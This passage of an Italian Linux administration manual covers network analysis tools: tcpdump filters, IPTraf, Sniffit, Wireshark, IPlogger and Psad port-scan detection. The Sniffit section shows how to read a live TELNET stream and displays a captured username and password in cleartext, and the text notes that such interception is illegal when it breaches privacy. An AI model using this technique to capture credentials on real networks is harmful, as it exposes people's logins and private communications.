- Gli indirizzi di origine o di destinazione, riferiti al protocollo TCP/IP, possono essere indicati attraverso nomi di dominio o numeri IP. In particolare, è possibile fare riferimento a una sottorete indicando il numero IP parziale.
- Le porte possono essere identificate per numero o per nome.
- Per identificare i protocolli si possono usare delle parole chiave precise; in particolare: '**`ether`**', '**`fddi`**', '**`ip`**', '**`arp`**', '**`rarp`**', '**`decnet`**', '**`tcp`**', '**`udp`**'.

  Il protocollo identificato dalle parole chiave elencate dovrebbe essere intuitivo, almeno per i casi più comuni (IP, ARP, RARP, TCP e UDP). Le prime due parole chiave sono equivalenti: '**`ether`**' e '**`fddi`**' rappresentano semplicemente il secondo livello, collegamento dati, del modello ISO-OSI.

Primitiva	Descrizione
`dst host` ***nodo*** `src host` ***nodo*** `host` ***nodo***	Se viene usata la parola chiave '**`dst`**', si avvera se il campo della destinazione IP corrisponde al nodo indicato; se viene usata la parola chiave '**`src`**', si avvera se il campo dell'origine IP corrisponde al nodo indicato; altrimenti, in mancanza di tali parole chiave, si avvera se il nodo corrisponde indifferentemente all'origine o alla destinazione.
`ether dst` ***nodo_ethernet*** `ether src` ***nodo_ethernet*** `ether host` ***nodo_ethernet***	Definisce un indirizzo Ethernet numerico o derivato dal contenuto del file '`/etc/ethers`'. Come si può intuire, nel primo caso si fa riferimento a una destinazione, nel secondo a un'origine, nel terzo non si fa differenza.
`gateway` ***nodo***	Si avvera nel caso i pacchetti utilizzino il nodo indicato come *gateway*, ovvero, quando l'indirizzo Ethernet dell'origine o della destinazione non appartiene né all'indirizzo IP dell'origine, né a quello della destinazione.

Primitiva	Descrizione
`dst net` ***rete*** `src net` ***rete*** `net` ***rete***	Se viene usata la parola chiave '**`dst`**', si avvera se il campo della destinazione IP appartiene alla rete indicata; se viene usata la parola chiave '**`src`**', si avvera se il campo dell'origine IP appartiene alla rete indicata; altrimenti, in mancanza di tali parole chiave, si avvera se la rete corrisponde indifferentemente all'origine o alla destinazione. La rete può essere indicata con un numero IP incompleto, oppure attraverso l'aggiunta di una maschera di rete. Per cui, la sintassi potrebbe essere estesa come nel modello successivo.
`dst net` {***rete*** ↩ ↪| ***indirizzo_ip*** `mask` ***maschera_ip*** ↩ ↪| ***indirizzo_ip*** / ***lunghezza_maschera***} `src net` {***rete*** ↩ ↪| ***indirizzo_ip*** `mask` ***maschera_ip*** ↩ ↪| ***indirizzo_ip*** / ***lunghezza_maschera***} `net` {***rete*** ↩ ↪| ***indirizzo_ip*** `mask` ***maschera_ip*** ↩ ↪| ***indirizzo_ip*** / ***lunghezza_maschera***}	In tal caso, la maschera di rete può essere indicata attraverso un numero IP corrispondente, oppure attraverso la quantità di bit a uno nella parte iniziale di tale maschera.
`dst port` ***porta*** `src port` ***porta*** `port` ***porta***	Definisce una porta TCP o UDP, trattandosi rispettivamente di un'origine, di una destinazione, o di entrambe le cose indifferentemente.
`less` ***lunghezza*** ↩ ↪| `len <=` ***lunghezza*** `greather` ***lunghezza*** ↩ ↪| `len >=` ***lunghezza***	Si avvera se la dimensione del pacchetto è inferiore o uguale, oppure maggiore o uguale alla quantità di byte indicata.
`ether proto` ***protocollo***	Definisce la selezione di un protocollo Ethernet attraverso un numero oppure un nome: '**`ip`**', '**`arp`**', '**`rarp`**'. Dal momento che questi nomi sono anche parole chiave per Tcpdump, vanno indicati facendoli precedere da una barra obliqua inversa ('**`\`**') (ciò tenendo conto anche del tipo di shell utilizzato; nel caso della shell Bash e di altre, occorre raddoppiare la barra obliqua inversa).

Primitiva	Descrizione
`ip proto` ***protocollo***	Definisce la selezione di un protocollo IP attraverso un numero, oppure un nome: '**icmp**', '**igrp**', '**udp**', '**nd**', '**tcp**'. Tuttavia, i nomi '**icmp**', '**tcp**' e '**udp**' vanno preceduti da una barra obliqua inversa ('****') per evitare che vengano interpretati in modo speciale da Tcpdump.
[`ether`] `broadcast`	Si avvera se il pacchetto è di tipo Ethernet broadcast.
`ip broadcast`	Si avvera per un pacchetto IP broadcast.
[`ether`] `multicast`	Si avvera se il pacchetto è di tipo Ethernet multicast.
`ip multicast`	Si avvera per un pacchetto IP multicast.

Segue la descrizione di alcuni esempi.

- `#` **`tcpdump host dinkel.brot.dg`** [*Invio*]

  Individua ed emette tutto il traffico riferito a *`dinkel.brot.dg`*.

- `#` **`tcpdump host dinkel.brot.dg and host roggen.brot.dg`** [*Invio*]

  Individua ed emette tutto il traffico riferito simultaneamente a *`dinkel.brot.dg`* e a *`roggen.brot.dg`*. In pratica si limita a estrarre il traffico tra questi due nodi.

- `#` **`tcpdump host dinkel.brot.dg and \(host roggen.brot.dg`** ↩
  ↪ **`or host weizen.brot.dg\)`** [*Invio*]

  Individua esclusivamente il traffico intrattenuto tra *`dinkel.brot.dg`* e *`roggen.brot.dg`*, oppure tra *`dinkel.brot.dg`* e *`weizen.brot.dg`*. Le parentesi tonde sono state protette attraverso la barra obliqua inversa per evitare una diversa interpretazione da parte della shell.

- `#` **`tcpdump host dinkel.brot.dg and not host roggen.brot.dg`** [*Invio*]

  Analizza tutto il traffico intrattenuto da *`dinkel.brot.dg`* e tutti gli altri nodi, a esclusione di *`roggen.brot.dg`*.

- `#` **`tcpdump gateway router.brot.dg`** [*Invio*]

  Analizza tutto il traffico che attraversa il nodo *`router.brot.dg`* senza essere diretto, o provenire da quello.

48.8.4 IPTraf

IPTraf[24] è un programma di servizio per l'analisi del traffico IPv4 (in parte anche di quello non IP) che transita attraverso la rete fisica a cui ci si trova connessi. IPTraf è specializzato nel tracciamento delle connessioni e nella produzione di statistiche, senza addentrarsi nella lettura del contenuto dei pacchetti.

IPTraf è fondamentalmente un programma interattivo che utilizza una console virtuale o un terminale a caratteri, organizzato attraverso dei menù. La figura 48.83 mostra il menù generale di IPTraf.

Figura 48.83. Menù generale di IPTraf.

```
.---------------------------------------.
| IP traffic monitor                    |
| General interface statistics          |
| Detailed interface statistics         |
| TCP/UDP service monitor               |
| Ethernet station monitor              |
| TCP display filters                   |
| Other protocol filters                |
| Options                               |
| Exit                                  |
`---------------------------------------'
```

IPTraf può essere configurato attraverso la funzione `Options` che appare nel menù generale. Inoltre, può annotare le informazioni sul traffico all'interno di un registro. Il file di configurazione e quello delle registrazioni vengono creati all'interno della directory '`/var/lib/iptraf/`', la quale deve essere presente.

Perché possa essere analizzato tutto il traffico della propria rete fisica, è necessario che sia abilitata la modalità promiscua.

Qui vengono descritti solo alcuni aspetti di IPTraf. Per il resto si può consultare la documentazione che accompagna questo programma.

Tabella 48.84. IPTraf funziona fondamentalmente in modo interattivo, tuttavia può essere avviato con delle opzioni in modo da raggiungere immediatamente la funzione desiderata.

Sintassi di avvio	Descrizione
`iptraf`	Avviando '**`iptraf`**' senza opzioni si ottiene il menù dal quale scegliere il tipo di funzione desiderata.
`iptraf -i`	Con l'opzione '**`-i`**' si ottiene immediatamente la selezione della funzione `IP traffic monitor`, ovvero il monitor del traffico IP in tempo reale.
`iptraf -g`	Con l'opzione '**`-g`**' si ottiene immediatamente la selezione della funzione `General interface statistics`, ovvero le statistiche generali delle interfacce presenti.
`iptraf -d` ***interfaccia***	Con l'opzione '**`-d`**' e l'aggiunta dell'indicazione di un'interfaccia di rete, si ottiene immediatamente la selezione della funzione `Detailed interface statistics`, ovvero le statistiche dettagliate di quell'interfaccia.
`iptraf -s` ***interfaccia***	Con l'opzione '**`-s`**' e l'aggiunta dell'indicazione di un'interfaccia di rete, si ottiene immediatamente la selezione della funzione `TCP/UDP service monitor`, ovvero il monitor dei servizi TCP e UDP di quell'interfaccia.

Sintassi di avvio	Descrizione
`iptraf -e`	Con l'opzione '**`-e`**' si ottiene immediatamente la selezione della funzione `Ethernet station monitor`, ovvero il monitor delle stazioni Ethernet (riguarda solo le interfacce Ethernet).

La configurazione di IPTraf può essere definita a livelli differenti: la configurazione generale e quella che riguarda i filtri di selezione dei pacchetti da elaborare. La configurazione generale è definibile attraverso la funzione `Options` del menù generale, da cui si accede a quanto si vede nella figura 48.85, che rappresenta anche l'impostazione predefinita.

Figura 48.85. Definizione delle opzioni generali di IPTraf.

```
.-----------------------.. Enabled Options -----------.
| Reverse DNS lookups   ||                            |
| Promiscuous operation ||                            |
| Color                 || Color                      |
| Logging               ||                            |
| TCP timeout...        ||                            |
| Logging interval...   || TCP timeout:       15 mins |
| Additional port...    || Log interval:      60 mins |
| Delete port...        |'----------------------------'
| Exit menu             |
'-----------------------'
```

Le opzioni si attivano e si disattivano premendo il tasto [*Invio*]; quando una voce è terminata da tre punti di sospensione ('`...`'), selezionandola si ottiene una finestra a scomparsa attraverso la quale fornire altre indicazioni. Lo stato delle opzioni è indicato dalla finestra destra: `Enabled Options`.

Opzione di configurazione	Descrizione
`Reverse DNS lookups`	Se attivata, fa in modo di risolvere gli indirizzi IP in nomi di dominio corrispondenti. L'attivazione di questa modalità può provocare dei ritardi nel funzionamento di IPTraf, per cui è consigliabile limitarne l'uso. Questa opzione è disattivata in modo predefinito.
`Promiscuous operation`	La modalità promiscua consente a IPTraf si analizzare tutto il traffico della rete fisica, non solo quello che interferisce con il nodo in cui si utilizza. Questa opzione è disattivata in modo predefinito.
`Color`	IPTraf è in grado di determinare automaticamente se il tipo di terminale utilizzato consente la visualizzazione dei colori o meno. Tuttavia, è possibile disabilitare la visualizzazione dei colori attraverso questa opzione.
`Logging`	IPTraf può annotare le informazioni sul traffico all'interno di un file di registrazioni, precisamente '`/var/lib/iptraf/iptraf.log`'. Questa opzione è disabilitata in modo predefinito dal momento che il registro può diventare rapidamente molto grande.

La funzionalità di controllo del traffico IP rappresenta l'utilizzo più comune di IPTraf. Selezionando la voce corrispondente dal menù generale, oppure avviando '**`iptraf`**' con l'opzione '**`-i`**', si ottiene qualcosa di simile a quanto mostrato nella figura 48.87, dove in particolare appare anche lo stato di una connessione TELNET tra 192.168.1.1 e 192.168.1.2.

Figura 48.87. Monitor di traffico IP con una connessione TELNET attiva.

```
. Source -------------- Destination ----------- Packets --- Bytes Flags  Iface .
|/192.168.1.2:1050      192.168.1.1:23               40      1701 --A-   eth0  |
|\192.168.1.1:23        192.168.1.2:1050             31      1435 -PA-   eth0  |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
|                                                                              |
' TCP: 1 entries -------------------------------------------------- Active ---'
.------------------------------------------------------------------------------.
| ARP from 0000b46507cb to ffffffffffff on eth0                                |
| ARP from 0080adc8a981 to 0000b46507cb on eth0                                |
|                                                                              |
|                                                                              |
|                                                                              |
' Top --------- Elapsed time:   0:01 ------------------------------------------'
 IP:       6150 TCP:      3136 UDP:      3014 ICMP:         0 Non-IP:        2
 Up/Dn/PgUp/PgDn-scrl actv win  W-chg actv win  M-more TCP info  X/Ctrl+X-Exit
```

Il monitor di traffico IP si compone di due finestre: una superiore per le connessioni TCP e una inferiore per gli altri tipi. Una delle due finestre è quella attiva, che si distingue perché appare la parola '**`Active`**' sul bordo nella parte bassa, al lato destro. All'interno della finestra attiva è possibile fare scorrere le informazioni con i tasti [*freccia-su*] e [*freccia-giù*]; per cambiare la finestra attiva basta utilizzare il tasto [*w*], come suggerisce il promemoria che appare nell'ultima riga dello schermo. Per uscire da questa funzionalità basta il tasto [*x*], oppure la combinazione [*Ctrl x*].

Non è possibile conoscere quale sia la parte che ha originato la connessione TCP, salvo intuirlo dalle convenzioni sull'uso delle porte; nella finestra relativa, le connessioni TCP vengono sempre mostrate con una coppia di voci: una per ogni direzione della connessione TCP.

Il significato delle varie colonne di informazione che appaiono nella finestra delle connessioni TCP dovrebbe essere abbastanza intuitivo, a parte la colonna '**`Flags`**', all'interno della quale possono essere annotate lettere e parole chiave differenti. Il significato di queste viene descritto di seguito.

Simbolo	Descrizione
`S`	L'ultimo pacchetto individuato è stato di tipo SYN, sincronizzazione, che si usa in preparazione di una connessione.
`A`	L'ultimo pacchetto individuato è stato di tipo ACK, che si usa per confermare la ricezione precedente di un pacchetto.
`P`	L'ultimo pacchetto individuato è stato di tipo PSH, *push*, che si usa per richiedere lo spostamento dei dati all'inizio della coda di ricezione.
`U`	L'ultimo pacchetto individuato è stato di tipo URG, che si usa per rappresentare dati urgenti.
`RESET`	La connessione è stata azzerata dal nodo di origine della direzione a cui si riferisce.
`DONE`	La connessione ha terminato l'invio di dati nella direzione a cui si riferisce e ha inviato il pacchetto FIN, ma non è ancora stata confermata la conclusione dall'altro nodo.

Simbolo	Descrizione
`CLOSED`	L'invio precedente del pacchetto FIN è stato confermato dall'altra parte.

Se si verifica una presenza inusuale di pacchetti SYN, può trattarsi di un tentativo di attacco, definito *SYN flood*, che letteralmente significa: «inondazione di pacchetti SYN».

48.8.5 Sniffit

Sniffit[25] è un programma per l'analisi del traffico di rete, che può essere usato per individuare le connessioni TCP in corso, oppure per conservare una sorta di registro delle comunicazioni avvenute, contenente le comunicazioni stesse.

Naturalmente, la lettura del contenuto dei pacchetti può essere utile a livello didattico, oppure per individuare dei problemi nell'utilizzo della rete, mentre diventa una pratica illegale quando ciò sconfina nel diritto alla riservatezza delle persone.

La sintassi per l'avvio di Sniffit è quella seguente, tenendo conto che almeno un'opzione del primo gruppo è obbligatoria.

```
sniffit {-v|-s nodo|-t nodo|-i|-I|-c file_di_configurazione}... altre_opzioni
```

Segue la descrizione di alcune opzioni.

Opzione	Descrizione
`-v`	Mostra la versione e non fa altro.
`-s` ***nodo*** `-t` ***nodo***	Limitano l'osservazione, rispettivamente, al nodo di origine e al nodo di destinazione indicati. Queste opzioni riguardano solo per il traffico TCP e UDP. L'indirizzo, se espresso in forma numerica, può essere parziale e completato con il simbolo '`@`'.
`-i` `-I`	Attiva un funzionamento interattivo, dove '**`-I`**' mostra più informazioni.
`-c` ***file***	Consente di indicare un file contenente una serie di direttive, attraverso le quali si stabilisce il comportamento di Sniffit.
`-F` ***interfaccia***	Consente di specificare il nome dell'interfaccia di rete a cui fare riferimento.
`-d` `-a`	Mostra i pacchetti sullo schermo, rispettivamente in esadecimale e in ASCII
`-P {IP|TCP|UDP|ICMP}`	Consente di selezionare un tipo di protocollo, tra quelli indicati. Questa opzione è incompatibile con '**`-i`**' o '**`-I`**'.
`-p` ***n_porta***	Per quanto riguarda i protocolli TCP e UDP, consente di limitare l'attenzione ai pacchetti riferiti alla porta indicata.
`-l` ***n_byte***	Definisce la quantità massima di byte da accumulare per ogni pacchetto. Il valore zero serve a non porre limiti.

Qui viene mostrato soltanto il funzionamento interattivo, con l'opzione '**-I**', all'interno del quale è possibile anche inserirsi in uno dei flussi TCP per leggerne i dati:

sniffit -I -F eth0 [*Invio*]

In questo modo si ottiene il funzionamento interattivo, specificando espressamente l'interfaccia (in questo caso si tratta di '**eth0**'. Quello che si vede nella figura seguente è soltanto il traffico TCP attivo:

Figura 48.90. Sniffit durante il funzionamento interattivo con l'opzione '**-I**'.

```
.--Sniffit 0.3.7 Beta-----------------------------------------------------------.
|        192.168.1.1  32796  ->      192.168.1.2     23  :  TELNET              |
|        192.168.1.2     23  ->      192.168.1.1  32796  :  TELNET              |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
'-------------------------------------------------------------------------------'
.--Sniffit 0.3.7 Beta-----------------------------------------------------------.
| Source IP     : All               Source PORT     : All                       |
| Destination IP: All               Destination PORT: All                       |
'-------------------------------------------------------------------------------'
  Masks: F1-Source IP  F2-Dest. IP  F3-Source Port  F4-Dest. Port
```

Nel riquadro delle connessioni TCP, appare un cursore, con cui è possibile selezionare, all'interno di una connessione, uno dei due flussi (andata o ritorno). Una volta collocato il cursore sopra un flusso di interesse, basta premere [*Invio*] per ottenere una finestra in cui appare il contenuto di quella comunicazione:

Figura 48.91. Intercettazione di una copia del flusso di dati.

```
.--Sniffit 0.3.7 Beta------------------------------------------------------------.
|        192.168.1.1  32796  ->      192.168.1.2     23  :  TELNET                |
|        192.168.1.2     23  ->      192.168.1.1  32796  :  TELNET                |
|                             .-----------------------------------------------. |
|                             |tizio..baci47..                                 | |
|                             |                                               | |
|                             |                                               | |
|                             |                                               | |
|                             |                                               | |
|                             |                                               | |
|                             |                                               | |
|                             |                                               | |
|                             |-----------------------------------------------| |
|                             | 192.168.1.1  32796  ->      192.168.1.2     23| |
|                             '-----------------------------------------------' |
|                                                                                 |
|                                                                                 |
|                                                                                 |
|                                                                                 |
'--------------------------------------------------------------------------------'
.--Sniffit 0.3.7 Beta------------------------------------------------------------.
| Source IP     : All              Source PORT     : All                          |
| Destination IP: All              Destination PORT: All                          |
'--------------------------------------------------------------------------------'
  Masks: F1-Source IP  F2-Dest. IP  F3-Source Port  F4-Dest. Port
```

Come si può intuire dalla figura, in questo caso si intercetta il flusso dei dati trasmessi da un cliente TELNET, proprio nella fase dell'autenticazione: l'utente '**`tizio`**', con la parola d'ordine '**`baci47`**'.[26]

48.8.6 Wireshark

Wireshark[27] è un programma per l'analisi del traffico di rete, fino al livello due del modello ISO-OSI (collegamento dati), riuscendo a riconoscere all'interno di questo una serie di protocolli a livelli superiori al livello tre e quattro; in particolare, individua correttamente molti protocolli collegati a IPv4 e IPv6.

Wireshark è pensato principalmente per accumulare il traffico intercettato, allo scopo di consentire un'analisi dettagliata di questo in un momento successivo; nello stesso modo è predisposto per accedere a informazioni di questo genere accumulate da programmi diversi, così come è in grado di esportare i propri dati in formati alternativi.

Wireshark consente anche una visualizzazione in tempo reale del traffico in corso, in modo analogo a quanto fa IPTraf, con la differenza che le informazioni fornite sono molto più chiare. In questo senso, si tratta di un programma ottimo come strumento didattico per lo studio delle reti.

Wireshark viene usato normalmente attraverso il sistema grafico X e deve funzionare con i privilegi dell'utente '**`root`**', per poter accedere direttamente all'interfaccia di rete da sondare. L'eseguibile da avviare è '**`wireshark`**':

```
wireshark [opzioni]
```

Qui si intende mostrare il funzionamento interattivo, senza l'uso di opzioni nella riga di comando. Eventualmente si può consultare la pagina di manuale *wireshark(1)*.

Figura 48.92. Wireshark avviato senza opzioni, rimane in attesa prima di iniziare la sua analisi.

File Edit Capture Display Tools Help

No. Time Source Destination Protocol Info

Filter: Reset Apply Ready to load or capture

Una volta avviato l'eseguibile '**`wireshark`**', per ottenere un'analisi del traffico in tempo reale può essere necessario controllare la configurazione. Si trova la voce *`Preferences`* nel menù *`Edit`*:

Figura 48.93. La finestra di configurazione di Wireshark per quanto riguarda la selezione dei pacchetti catturati.

La figura mostra in particolare la selezione della modalità promiscua, con cui si intercettano tutti i pacchetti che l'interfaccia di rete selezionata è in grado di osservare.

Una volta definita la configurazione e selezionata l'interfaccia di rete di interesse, si può passare alla cattura dei pacchetti, selezionando la voce `Start` dal menù `Capture`. Si ottiene una finestra da cui è possibile aggiustare le opzioni relative alla cattura:

Figura 48.94. La finestra che appare quando si chiede di iniziare la cattura dei pacchetti.

Durante la cattura dei pacchetti viene visualizzata una statistica sull'avanzamento di questo lavoro, dove appare un pulsante grafico che consente di fermare l'accumulo dei dati. Se in precedenza è stata richiesta la visualizzazione in tempo reale delle informazioni relative alla cattura, anche il contenuto dei pacchetti viene visualizzato nella finestra principale del programma.

Figura 48.95. Statistiche visualizzate durante la cattura dei pacchetti.

Total	80	(100.0%)
SCTP	0	(0.0%)
TCP	52	(65.0%)
UDP	10	(12.5%)
ICMP	0	(0.0%)
OSPF	0	(0.0%)
GRE	0	(0.0%)
NetBIOS	0	(0.0%)
IPX	0	(0.0%)
VINES	0	(0.0%)
Other	18	(22.5%)

Stop

La finestra principale del programma si divide in tre parti: in quella superiore appare l'elenco di pacchetti intercettati con una descrizione essenziale del loro contenuto; selezionando un pacchetto nella parte superiore, in quella centrale appare un elenco ad albero di componenti del pacchetto stesso; selezionando una voce nell'elenco del riquadro centrale, appare in quello inferiore l'evidenziamento della porzione di pacchetto che lo riguarda. La figura seguente mostra la porzione IP di un pacchetto relativo a una comunicazione TELNET:

Figura 48.96. Porzione IP di un pacchetto relativo a una comunicazione TELNET.

```
File  Edit  Capture  Display  Tools                                                   Help
No. | Time       | Source                  | Destination    | Protocol | Info
 51 115.254771 roggen.brot.dg            dinkel.brot.dg   TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 52 115.273440 dinkel.brot.dg            roggen.brot.dg   TELNET   Telnet Data ...
 53 115.274514 roggen.brot.dg            dinkel.brot.dg   TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 54 115.274699 dinkel.brot.dg            roggen.brot.dg   TELNET   Telnet Data ...
 55 115.275234 roggen.brot.dg            dinkel.brot.dg   TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 56 115.581118 dinkel.brot.dg            roggen.brot.dg   TELNET   Telnet Data ...
 57 115.581917 roggen.brot.dg            dinkel.brot.dg   TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 58 115.654587 dinkel.brot.dg            roggen.brot.dg   TELNET   Telnet Data ...
 59 115.655294 roggen.brot.dg            dinkel.brot.dg   TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 60 124.870001 fe80::250:baff:fe71:d ff02::1          ICMPv6   Router advertisement
 61 153.339857 fe80::250:baff:fe71:d ff02::1          ICMPv6   Router advertisement

⊞ Frame 52 (428 on wire, 428 captured)
⊞ Ethernet II
⊞ Internet Protocol, Src Addr: dinkel.brot.dg (192.168.1.1), Dst Addr: roggen.brot.dg (192.168.1.2)
⊞ Transmission Control Protocol, Src Port: telnet (23), Dst Port: 1025 (1025), Seq: 3614437742, Ack: 3854203109, Len
⊞ Telnet

0000  00 80 ad c8 a9 81 00 50  ba 71 d9 c1 08 00 45 10   .......P .q....E.
0010  01 9e f0 e1 40 00 40 06  c5 14 c0 a8 01 01 c0 a8   ....@.@. ........
0020  01 02 00 17 04 01 d7 6f  f1 6e e5 ba 78 e5 80 18   .......o .n..x...
0030  16 a0 02 a4 00 00 01 01  08 0a 00 0c 01 94 00 00   ........ ........
0040  9a 5f 4c 69 6e 75 78 20  64 69 6e 6b 65 6c 20 32   ._Linux  dinkel 2
0050  2e 34 2e 31 39 20 23 31  20 46 72 69 20 4e 6f 76   .4.19 #1  Fri Nov
0060  20 38 20 31 38 3a 33 31  3a 33 34 20 43 45 54 20    8 18:31 :34 CET
0070  32 30 30 32 20 69 36 38  36 20 75 6e 6b 6e 6f 77   2002 i68 6 unknow
0080  6e 20 75 6e 6b 6e 6f 77  6e 20 47 4e 55 2f 4c 69   n unknow n GNU/Li
0090  6e 75 78 0d 0a 0d 0a 4d  6f 73 74 20 6f 66 20 74   nux....M ost of t
00a0  68 65 20 70 72 6f 67 72  61 6d 73 20 69 6e 63 6c   he progr ams incl
00b0  75 64 65 64 20 77 69 74  68 20 74 68 65 20 44 65   uded wit h the De
00c0  62 69 61 6e 20 47 4e 55  2f 4c 69 6e 75 78 20 73   bian GNU /Linux s

Filter: [                    ] Reset  Apply  Internet Protocol (ip)
```

Nella figura successiva, si analizzano i dati TCP dello stesso pacchetto, mostrando in particolare dove si colloca l’informazione sulla porta di destinazione:

Figura 48.97. Porta di destinazione TCP di un pacchetto relativo a una comunicazione TELNET.

```
File  Edit  Capture  Display  Tools                                                        Help
No. | Time       | Source                   | Destination      | Protocol | Info
 51 115.254771 roggen.brot.dg            dinkel.brot.dg     TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 52 115.273440 dinkel.brot.dg            roggen.brot.dg     TELNET   Telnet Data ...
 53 115.274514 roggen.brot.dg            dinkel.brot.dg     TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 54 115.274699 dinkel.brot.dg            roggen.brot.dg     TELNET   Telnet Data ...
 55 115.275234 roggen.brot.dg            dinkel.brot.dg     TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 56 115.581118 dinkel.brot.dg            roggen.brot.dg     TELNET   Telnet Data ...
 57 115.581917 roggen.brot.dg            dinkel.brot.dg     TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 58 115.654587 dinkel.brot.dg            roggen.brot.dg     TELNET   Telnet Data ...
 59 115.655294 roggen.brot.dg            dinkel.brot.dg     TCP      1025 > telnet [ACK] Seq=3854203109 Ack=3614
 60 124.870001 fe80::250:baff:fe71:d ff02::1            ICMPv6   Router advertisement
 61 153.339857 fe80::250:baff:fe71:d ff02::1            ICMPv6   Router advertisement

⊟ Transmission Control Protocol, Src Port: telnet (23), Dst Port: 1025 (1025), Seq: 3614437742, Ack: 3854203109, Ler
    Source port: telnet (23)
    Destination port: 1025 (1025)
    Sequence number: 3614437742
    Next sequence number: 3614438104
    Acknowledgement number: 3854203109

0000  00 80 ad c8 a9 81 00 50  ba 71 d9 c1 08 00 45 10   .......P .q....E.
0010  01 9e f0 e1 40 00 40 06  c5 14 c0 a8 01 01 c0 a8   ....@.@. ........
0020  01 02 00 17 04 01 d7 6f  f1 6e e5 ba 78 e5 80 18   .......o .n..x...
0030  16 a0 02 a4 00 00 01 01  08 0a 00 0c 01 94 00 00   ........ ........
0040  9a 5f 4c 69 6e 75 78 20  64 69 6e 6b 65 6c 20 32   ._Linux  dinkel 2
0050  2e 34 2e 31 39 20 23 31  20 46 72 69 20 4e 6f 76   .4.19 #1  Fri Nov
0060  20 38 20 31 38 3a 33 31  3a 33 34 20 43 45 54 20    8 18:31 :34 CET
0070  32 30 30 32 20 69 36 38  36 20 75 6e 6b 6e 6f 77   2002 i68 6 unknow
0080  6e 20 75 6e 6b 6e 6f 77  6e 20 47 4e 55 2f 4c 69   n unknow n GNU/Li
0090  6e 75 78 0d 0a 0d 0a 4d  6f 73 74 20 6f 66 20 74   nux....M ost of t
00a0  68 65 20 70 72 6f 67 72  61 6d 73 20 69 6e 63 6c   he progr ams incl
00b0  75 64 65 64 20 77 69 74  68 20 74 68 65 20 44 65   uded wit h the De
00c0  62 69 61 6e 20 47 4e 55  2f 4c 69 6e 75 78 20 73   bian GNU /Linux s

Filter: [                    ]  Reset  Apply  Destination Port (tcp.dstport)
```

48.8.7 IPlogger

IPlogger[28] è un pacchetto di programmi contenente alcuni demoni che si occupano di annotare le connessioni all'interno del registro del sistema. Allo stato attuale si tratta solo di '**`tcplog`**' e di '**`icmplog`**', in grado rispettivamente di annotare le connessioni TCP e l'utilizzo del protocollo ICMP. Non è niente di eccezionale, ma qualcosa di utile nel caso non si abbiano strumenti migliori.

Non c'è molto da aggiungere sull'utilizzo di questi due demoni: basta fare in modo che la procedura di inizializzazione del sistema provveda ad avviarli e loro si arrangiano. Non occorre alcuna configurazione.

È probabile che questo pacchetto abbia uno sviluppo futuro, aggiungendo varie forme di identificazione di attacchi noti.

48.8.8 Psad

Psad,[29] ovvero *Port scan attack detector* è un sistema di controllo che si basa sull'analisi di una porzione del registro di sistema, alla ricerca di annotazioni fatte dalla gestione del filtro dei pacchetti dei kernel Linux 2.4.* e 2.6.*.

In pratica, si comincia dalla definizione di regole di filtro dei pacchetti con Iptables (sezione 47.5), a cui si aggiungono delle istruzioni per annotare il traffico che non si desidera:

```
iptables -t filter -A posizione [altre_opzioni] -j LOG --log-prefix " DROP"
```

Generalmente, se si utilizza una politica predefinita di eliminazione dei pacchetti, si inseriscono regole che abilitano espressamente il passaggio di ciò che si desidera lasciare circolare. In questo modo è sufficiente mettere alla fine le istruzioni con cui si richiede di annotare il traffico rimanente, che di conseguenza non è desiderato. Supponendo che venga controllato il traffico in ingresso e quello in attraversamento, si possono aggiungere in coda le istruzioni seguenti:

```
iptables -t filter -A INPUT   -j LOG --log-prefix " DROP"
iptables -t filter -A FORWARD -j LOG --log-prefix " DROP"
```

Per utilizzare Psad è necessario, a questo punto, intervenire nel file '`/etc/syslog.conf`', in modo da dirigere i messaggi di tipo '**`kern.info`**' in un file FIFO (*pipe* con nome): '`/var/run/psadfifo`'.

```
kern.info                |/var/run/psadfifo
```

Se Psad è stato installato a partire da un pacchetto già pronto per la propria distribuzione GNU/Linux, dovrebbe essere messo in funzione in modo automatico, per opera della procedura di inizializzazione del sistema; diversamente può essere avviato l'eseguibile '**`psad`**', con l'aggiunta eventuale di qualche opzione per indicare al programma la collocazione dei file di configurazione.

I file di configurazione dovrebbero trovarsi nella directory '`/etc/psad/`' e il più importante da prendere in considerazione è '`/etc/psad/psad.conf`'. In questo file di configurazione vengono specificate in particolare le collocazioni dei file utilizzati da Psad per annotare le informazioni ottenute a proposito degli accessi rifiutati dal sistema di filtro dei pacchetti, file che dovrebbero trovarsi nella directory '`/var/log/psad/`' in condizioni normali. In generale, nel file di configurazione '`/etc/psad/psad.conf`' può essere utile specificare un indirizzo di posta elettronica a cui mandare gli avvertimenti generati da Psad, con la direttiva seguente:

```
### Supports multiple email addresses.
EMAIL_ADDRESSES              (root@localhost);
```

Teoricamente, Psad potrebbe essere in grado di riprogrammare le regole relative al filtro dei pacchetti (attraverso Iptables), ma questo forse è meglio evitarlo, a meno di conoscere perfettamente il suo funzionamento:

```
### If "Y", enable automated IDS response (auto manages
### firewall rulesets).
ENABLE_AUTO_IDS             N;
### Enable iptables blocking (only gets enabled if ENABLE_AUTO_IDS is also set)
IPTABLES_BLOCK_METHOD       Y;
### Enable ipchains blocking (only gets enabled if ENABLE_AUTO_IDS is also set)
IPCHAINS_BLOCK_METHOD       N;
### Enable tcp wrappers blocking
TCPWRAPPERS_BLOCK_METHOD    Y;
```

Se si mette in funzione Psad quando la gestione del filtro dei pacchetti non include una regola che produce annotazioni adatte nel registro di sistema, viene generato un messaggio di avvertimento, inviato all'indirizzo di posta elettronica previsto per questo genere di informazioni. A ogni modo, si può verificare facilmente se Psad è in grado di svolgere il suo lavoro correttamente, provando una scansione con Nmap (sezione 48.7):

$ **nmap** ***indirizzo_ip*** [*Invio*]

